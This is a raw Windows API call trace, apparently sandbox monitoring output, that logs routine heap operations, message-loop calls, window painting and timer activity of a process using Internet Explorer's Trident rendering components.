[0145.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.003] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0145.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0145.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.003] SetTimer (hWnd=0x60132, nIDEvent=0x2002, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2002 [0145.003] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0145.004] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0145.004] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0145.004] GetCursor () returned 0x10003 [0145.004] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.004] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.004] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.004] GetMessageTime () returned 273173 [0145.004] GetMessagePos () returned 0x1c80339 [0145.004] GetCapture () returned 0x0 [0145.004] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0145.004] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0145.004] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0145.004] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.004] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0145.005] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0145.005] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.005] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.005] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.005] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0145.005] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.005] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0145.005] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.005] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0145.005] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0145.006] GetCurrentThreadId () returned 0xcd8 [0145.006] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.006] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0145.006] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0145.006] NtdllDefWindowProc_W () returned 0x0 [0145.006] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.006] GetMessageTime () returned 273173 [0145.006] GetMessagePos () returned 0x1c80339 [0145.006] GetCapture () returned 0x0 [0145.006] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0145.007] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0145.007] GetCurrentThreadId () returned 0xcd8 [0145.007] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.007] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0145.007] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x83bb80 [0145.007] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0145.008] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x83bb80 [0145.008] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83bb80 | out: hHeap=0x7f0000) returned 1 [0145.008] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804860 | out: hHeap=0x7f0000) returned 1 [0145.008] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0145.008] NtdllDefWindowProc_W () returned 0x0 [0145.008] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.008] GetCurrentThreadId () returned 0xcd8 [0145.008] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.008] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.008] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.008] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0145.008] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.009] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0145.009] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.009] GetCurrentThreadId () returned 0xcd8 [0145.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.009] IsWinEventHookInstalled (event=0x8005) returned 0 [0145.009] GetCurrentThreadId () returned 0xcd8 [0145.009] GetFocus () returned 0x0 [0145.009] EnumChildWindows (hWndParent=0x60018, lpEnumFunc=0x73670a73, lParam=0x30f5bc) returned 0 [0145.009] GetCurrentThreadId () returned 0xcd8 [0145.010] GetFocus () returned 0x0 [0145.010] EnumChildWindows (hWndParent=0x60018, lpEnumFunc=0x73670a73, lParam=0x30f5bc) returned 0 [0145.010] GetCurrentThreadId () returned 0xcd8 [0145.010] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0145.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.010] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.010] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0145.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.011] GetCurrentThreadId () returned 0xcd8 [0145.011] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.011] IsWinEventHookInstalled (event=0x8005) returned 0 [0145.011] GetCurrentThreadId () returned 0xcd8 [0145.011] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.011] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.011] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.011] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.011] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.011] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.011] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.011] GetAncestor (hwnd=0x60018, gaFlags=0x2) returned 0x201e6 [0145.011] IsIconic (hWnd=0x201e6) returned 0 [0145.011] GetCurrentThreadId () returned 0xcd8 [0145.011] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.011] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.011] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.011] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.011] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0ec, cPoints=0x1 | out: lpPoints=0x30f0ec) returned 13435063 [0145.012] BeginPaint (in: hWnd=0x60018, lpPaint=0x30f520 | out: lpPaint=0x30f520) returned 0x4010b37 [0145.012] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.012] GetCurrentThreadId () returned 0xcd8 [0145.012] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.012] GetCurrentThreadId () returned 0xcd8 [0145.012] IsRectEmpty (lprc=0x30f528) returned 0 [0145.012] CreateRectRgnIndirect (lprect=0x73507be0) returned 0x11040a0b [0145.012] GetRandomRgn (hdc=0x4010b37, hrgn=0x11040a0b, i=4) returned 1 [0145.012] OffsetRgn (hrgn=0x11040a0b, x=-183, y=-205) returned 3 [0145.012] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0145.012] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0145.012] IntersectRect (in: lprcDst=0x30f19c, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30f19c) returned 1 [0145.012] IntersectRect (in: lprcDst=0x30f18c, lprcSrc1=0x30f18c, lprcSrc2=0x30f078 | out: lprcDst=0x30f18c) returned 0 [0145.012] IsRectEmpty (lprc=0x30f18c) returned 1 [0145.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0145.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0145.012] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0145.012] GetDeviceCaps (hdc=0x4010b37, index=14) returned 1 [0145.013] GetDeviceCaps (hdc=0x4010b37, index=12) returned 32 [0145.013] GetRegionData (in: hrgn=0x11040a0b, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x60 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0145.013] GetRegionData (in: hrgn=0x11040a0b, nCount=0x60, lpRgnData=0x83c7a0 | out: lpRgnData=0x83c7a0) returned 0x60 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x803e00 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x804628 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804628 | out: hHeap=0x7f0000) returned 1 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x804628 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e448 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e448 | out: hHeap=0x7f0000) returned 1 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804628 | out: hHeap=0x7f0000) returned 1 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x803e00 | out: hHeap=0x7f0000) returned 1 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0145.013] IntersectRect (in: lprcDst=0x30c7c4, lprcSrc1=0x30c7c4, lprcSrc2=0x30c794 | out: lprcDst=0x30c7c4) returned 1 [0145.013] IntersectRect (in: lprcDst=0x30c6f4, lprcSrc1=0x30c6f4, lprcSrc2=0x30c6c4 | out: lprcDst=0x30c6f4) returned 1 [0145.013] IntersectRect (in: lprcDst=0x30c650, lprcSrc1=0x30c650, lprcSrc2=0x8379b0 | out: lprcDst=0x30c650) returned 0 [0145.013] IntersectRect (in: lprcDst=0x30c728, lprcSrc1=0x30c728, lprcSrc2=0x837990 | out: lprcDst=0x30c728) returned 1 [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0145.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0145.013] ExtCreateRegion (lpx=0x0, nCount=0x60, lpData=0x83c7a0) returned 0x9040a5c [0145.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0145.013] SelectClipRgn (hdc=0x4010b37, hrgn=0x9040a5c) returned 3 [0145.013] IntersectRect (in: lprcDst=0x30c4fc, lprcSrc1=0x30c4fc, lprcSrc2=0x30c4cc | out: lprcDst=0x30c4fc) returned 1 [0145.014] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30c4ec | out: lprcDst=0x8379a0) returned 1 [0145.014] IntersectRect (in: lprcDst=0x30c338, lprcSrc1=0x30c338, lprcSrc2=0x837990 | out: lprcDst=0x30c338) returned 1 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0145.014] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.014] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0145.014] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0145.014] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840d20 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840d20 | out: hHeap=0x7f0000) returned 1 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840d20 [0145.014] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0145.014] ExtCreateRegion (lpx=0x0, nCount=0x60, lpData=0x83c7a0) returned 0x5040a5d [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0145.014] SelectClipRgn (hdc=0x6010a70, hrgn=0x5040a5d) returned 3 [0145.014] DeleteObject (ho=0x5040a5d) returned 1 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840d20 | out: hHeap=0x7f0000) returned 1 [0145.014] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0145.014] PatBlt (hdc=0x6010a70, x=346, y=0, w=366, h=150, rop=0xf00021) returned 1 [0145.014] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0145.014] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0145.014] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0145.014] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0145.014] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.014] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0145.015] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0145.015] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0145.015] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0145.015] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0145.015] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0145.015] GetStockObject (i=8) returned 0x1b00016 [0145.015] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0145.015] GetROP2 (hdc=0x6010a70) returned 13 [0145.015] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0145.015] Rectangle (hdc=0x6010a70, left=346, top=0, right=713, bottom=151) returned 1 [0145.017] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0145.017] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0145.017] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0145.017] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0145.017] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0145.017] BitBlt (hdc=0x4010b37, x=0, y=112, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0145.017] DeleteObject (ho=0x9040a5c) returned 1 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0145.017] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0145.017] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.017] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0145.017] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0145.017] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0145.017] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0145.017] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0xf040bf6 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.017] SelectClipRgn (hdc=0x6010a70, hrgn=0xf040bf6) returned 2 [0145.017] DeleteObject (ho=0xf040bf6) returned 1 [0145.017] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0145.017] PatBlt (hdc=0x6010a70, x=346, y=0, w=366, h=15, rop=0xf00021) returned 1 [0145.017] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0145.017] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0145.017] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0145.017] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0145.017] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.018] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0145.018] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0145.018] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0145.018] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0145.018] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0145.018] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0145.018] GetStockObject (i=8) returned 0x1b00016 [0145.018] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0145.018] GetROP2 (hdc=0x6010a70) returned 13 [0145.018] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0145.018] Rectangle (hdc=0x6010a70, left=346, top=0, right=713, bottom=16) returned 1 [0145.018] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0145.018] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0145.018] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0145.018] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0145.046] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0145.046] BitBlt (hdc=0x4010b37, x=0, y=262, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.046] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0145.046] GetStockObject (i=15) returned 0x188000b [0145.046] SelectPalette (hdc=0x4010b37, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0145.046] EndPaint (hWnd=0x60018, lpPaint=0x30f520) returned 1 [0145.046] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0145.046] DeleteObject (ho=0x11040a0b) returned 1 [0145.046] GetCurrentThreadId () returned 0xcd8 [0145.046] GetCurrentThreadId () returned 0xcd8 [0145.046] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.096] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.096] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.096] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.096] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0145.096] GetCurrentThreadId () returned 0xcd8 [0145.097] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.141] NtdllDefWindowProc_W () returned 0x0 [0145.141] NtdllDefWindowProc_W () returned 0x0 [0145.142] NtdllDefWindowProc_W () returned 0x0 [0145.142] NtdllDefWindowProc_W () returned 0x0 [0145.142] NtdllDefWindowProc_W () returned 0x0 [0145.142] NtdllDefWindowProc_W () returned 0x1 [0145.144] GetFocus () returned 0x0 [0145.144] SetFocus (hWnd=0x60018) returned 0x0 [0145.144] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.144] GetMessageTime () returned 273282 [0145.144] GetMessagePos () returned 0x1c80339 [0145.144] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30efdc | out: plResult=0x30efdc) returned 0x0 [0145.144] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.145] GetMessageTime () returned 273282 [0145.145] GetMessagePos () returned 0x1c80339 [0145.145] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0145.145] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x30ea0c | out: plResult=0x30ea0c) returned 0x0 [0145.145] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.145] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0145.145] GetCurrentThreadId () returned 0xcd8 [0145.145] GetCurrentThreadId () returned 0xcd8 